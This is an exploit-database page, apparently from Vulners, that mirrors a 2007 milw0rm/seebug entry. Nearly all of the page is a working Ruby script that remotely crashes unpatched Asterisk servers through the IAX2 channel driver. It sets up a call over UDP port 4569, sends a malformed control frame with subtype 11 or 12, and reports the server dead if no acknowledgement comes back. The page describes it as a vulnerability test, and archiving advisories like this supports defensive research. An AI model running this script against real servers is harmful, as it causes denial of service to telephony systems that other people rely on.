Lucene search
K

Asterisk < 1.2.22 1.4.8 IAX2 channel driver Remote Crash Exploit

🗓️ 31 Jul 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Asterisk IAX2 channel driver Remote Crash Exploit testing script to send IAX2 control packets with specific subtypes that can crash an unpatched server. Checks for expected responses and sends a trigger

Code

                                                #!/usr/bin/env ruby
# author = tenkei_ev
# Script to test chan_iax for the vuln in ASA-2007-015
# Trigger subtypes of 11 or 12 will crash an unpatched server
#
# First establish a call - send new, recv accept, send ack, recv answer, send ack
# Then send IAX2 control packets with subtypes 0x0b or 0x0c that contain an information element
# If asterisk sends an ACK to the trigger, it didn't crash
# If no ACK is read off the socket during the timeout, consider asterisk to be crashed
#
# If any of the expected responses aren't received, asterisk may not crash when sending the trigger
#
# Updated: fix bug in crash detection with patched servers

require 'socket'
require 'timeout'

hostname = nil
trigger_subtype = nil

if(ARGV.length < 2 ) 
    $stderr.puts "#{$0} <hostname> <Trigger subtype>\r\n"
    exit -1
else
    hostname = ARGV[0]
    if(ARGV[1][0,2] == '0x' || ARGV[1][0,2] == '0X')
        trigger_subtype = ARGV[1].hex
    else
        trigger_subtype  = ARGV[1].to_i 
    end
end

t = UDPSocket.new
t.connect(hostname,4569)

puts "[*] Sending NEW #{hostname}"
iax2_new = 
        [
            # HEADER
            1 << 15 | 1,    # full-frame bit and source call number
            0,              # retransmit bit and destination call number
            0,              # timestamp
            0,              # outbound stream sequence number
            0,              # inbound stream sequence number - need to reset to 0
            0x06,           # Frame type - IAX2 Control frame
            1,              # IAX2 NEW, C bit unset

            # VERSION IE
            0x0b,
            0x02,
            0x02,
            
            # FORMAT IE
            # trying to match asterisk - ymmv if your asterisk server rejects you, 
            # change this to match some codecs asterisk expects
            0x09,
            0x04,
            0xe703,
        ].pack("nnNCCCC CCn CCN")

t.write(iax2_new)

iax2_accept,sender  = t.recvfrom(1024)
resp        = iax2_accept.unpack("nnNCCCCCCN")
srccall     = resp[0] & 0x7fff
dstcall     = resp[1] & 0x7fff
timestamp   = resp[2]
oseq        = resp[3]
iseq        = resp[4]
frametype   = resp[5]
subtype     = resp[6]

if(frametype == 6 && subtype == 7)
    puts "[*] ACCEPT received from #{hostname}"
else
    puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack = 
            [
                1 << 15 | dstcall & 0x7fff,
                0 << 15 | srccall & 0x7fff,
                timestamp.to_i + 1000,
                iseq,
                oseq,
                0x06,                   # IAX2 Control frame
                0 << 7 | 0x04 & 0x7f,   # IAX2 ACK
            ].pack("nnNCCCC")

t.write(iax2_ack)

iax2_answer,sender = t.recvfrom(1024)
resp = iax2_answer.unpack("nnNCCCCCCN")
srccall = resp[0] & 0x7fff
dstcall = resp[1] & 0x7fff
timestamp   = resp[2]
oseq        = resp[3]
iseq        = resp[4]
frametype   = resp[5]
subtype     = resp[6]

if(frametype == 4 && subtype == 4)
    puts "[*] ANSWER received from #{hostname}"
else
    puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack = 
            [
                1 << 15 | dstcall & 0x7fff,
                0 << 15 | srccall & 0x7fff,
                timestamp.to_i + 1000,
                iseq,
                oseq,
                0x06,                   # IAX2 Control frame
                0 << 7 | 0x04 & 0x7f,   # IAX2 ACK, C bit unset
            ].pack("nnNCCCC")
            
t.write(iax2_ack)

puts "[*] Sending trigger"
trigger =
        [
            1 << 15 | dstcall & 0x7fff,
            0 << 15 | srccall & 0x7fff,
            timestamp.to_i + 1000,
            iseq,
            oseq,
            0x06,
            trigger_subtype,

            # IE
            0x0b,
            0x02,
            0x02,
            
        ].pack("nnNCCCC CCn ")

t.write(trigger)

begin
    
    timeout_seconds = 2
    
    Timeout::timeout(timeout_seconds) do |tlength|
        while(trigger_ack = t.recvfrom(1024))
            resp = trigger_ack[0].unpack("nnNCCCCCCN")
            srccall = resp[0] & 0x7fff
            dstcall = resp[1] & 0x7fff
            timestamp   = resp[2]
            oseq        = resp[3]
            iseq        = resp[4]
            frametype   = resp[5]
            subtype     = resp[6]
            if((frametype == 6 && subtype == 4) || (frametype == 6 && subtype == 12))
                puts "[!] Asterisk survived"
                exit
            end
        end
    end

rescue Timeout::Error => e
    puts "[!!!] Asterisk died"
rescue ::Exception => e
end

t.close

# milw0rm.com [2007-07-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2007 00:00Current
7.1High risk
Vulners AI Score7.1
14